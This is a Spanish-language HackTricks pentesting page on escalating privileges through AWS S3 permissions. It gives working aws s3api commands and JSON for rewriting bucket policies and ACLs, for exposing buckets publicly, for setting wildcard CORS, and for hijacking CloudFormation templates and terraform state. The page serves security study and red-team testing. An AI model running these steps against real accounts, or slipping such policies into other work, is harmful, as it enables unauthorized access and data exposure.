AWS - S3 Privesc

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Un atacante con esos permisos sobre buckets interesantes podría secuestrar recursos y escalar privilegios.

Por ejemplo, un atacante con esos permisos sobre un bucket de cloudformation llamado “cf-templates-nohnwfax6a6i-us-east-1” podrá secuestrar el despliegue. El acceso puede otorgarse con la siguiente política:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

Y el secuestro es posible porque existe una breve ventana de tiempo desde el momento en que la template se sube al bucket hasta el momento en que la template se despliega. Un atacante podría crear una lambda function en su cuenta que se active cuando se envíe una notificación del bucket, y secuestre el content de ese bucket.

El módulo Pacu cfn__resouce_injection puede usarse para automatizar este ataque.\ Para más información consulta la investigación original: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Estos son los permisos para obtener y subir objetos a S3. Varios servicios dentro de AWS (y fuera de ella) usan el almacenamiento S3 para guardar archivos de configuración.
Un atacante con acceso de lectura a ellos podría encontrar información sensible en ellos.
Un atacante con acceso de escritura podría modificar los datos para abusar de algún servicio y tratar de escalar privilegios.
Estos son algunos ejemplos:

  • Si una instancia EC2 está almacenando los user data in a S3 bucket, un atacante podría modificarlo para ejecutar código arbitrario dentro de la instancia EC2.

s3:PutObject, s3:GetObject (opcional) sobre archivos de estado de terraform

Es muy común que los archivos de estado de terraform se guarden en blob storage de los proveedores cloud, p.ej. AWS S3. El sufijo de archivo para un state file es .tfstate, y los nombres de los buckets a menudo también delatan que contienen archivos de estado de terraform. Normalmente, cada cuenta AWS tiene uno de estos buckets para almacenar los archivos de estado que muestran el estado de la cuenta.
Además, en cuentas del mundo real casi siempre todos los desarrolladores tienen s3:* y a veces incluso usuarios de negocio tienen s3:Put*.

Por lo tanto, si tienes los permisos mencionados sobre estos archivos, existe un vector de ataque que te permite obtener RCE en la pipeline con los privilegios de terraform — la mayoría de las veces AdministratorAccess, lo que te convierte en el administrador de la cuenta cloud. Además, puedes usar ese vector para realizar un ataque de denegación de servicio haciendo que terraform elimine recursos legítimos.

Sigue la descripción en la sección Abusing Terraform State Files de la página Terraform Security para obtener código de exploit directamente usable:

Abusing Terraform State Files

s3:PutBucketPolicy

Un atacante, que necesita ser de la misma cuenta — si no, se disparará el error The specified method is not allowed — con este permiso podrá concederse más permisos sobre el/los bucket(s), permitiéndole leer, escribir, modificar, eliminar y exponer buckets.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Un atacante podría abusar de estos permisos para concederse más acceso sobre buckets específicos.
Tenga en cuenta que el atacante no necesita pertenecer a la misma cuenta. Además, el acceso de escritura

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Un attacker podría abusar de estos permisos para otorgarse más acceso a objetos específicos dentro de buckets.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Se espera que un atacante con estos privilegios pueda asignar un Acl a una versión específica del objeto

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json

s3:PutBucketCORS

Un atacante con el permiso s3:PutBucketCORS puede modificar la configuración CORS (Compartición de Recursos entre Orígenes) de un bucket, que controla qué dominios web pueden acceder a sus endpoints. Si establece una política permisiva, cualquier sitio web podría hacer solicitudes directas al bucket y leer las respuestas desde un navegador.

Esto significa que, potencialmente, si un usuario autenticado de una aplicación web alojada en el bucket visita el sitio del atacante, el atacante podría explotar la política CORS permisiva y, dependiendo de la aplicación, acceder a los datos de perfil del usuario o incluso secuestrar la cuenta del usuario.

aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks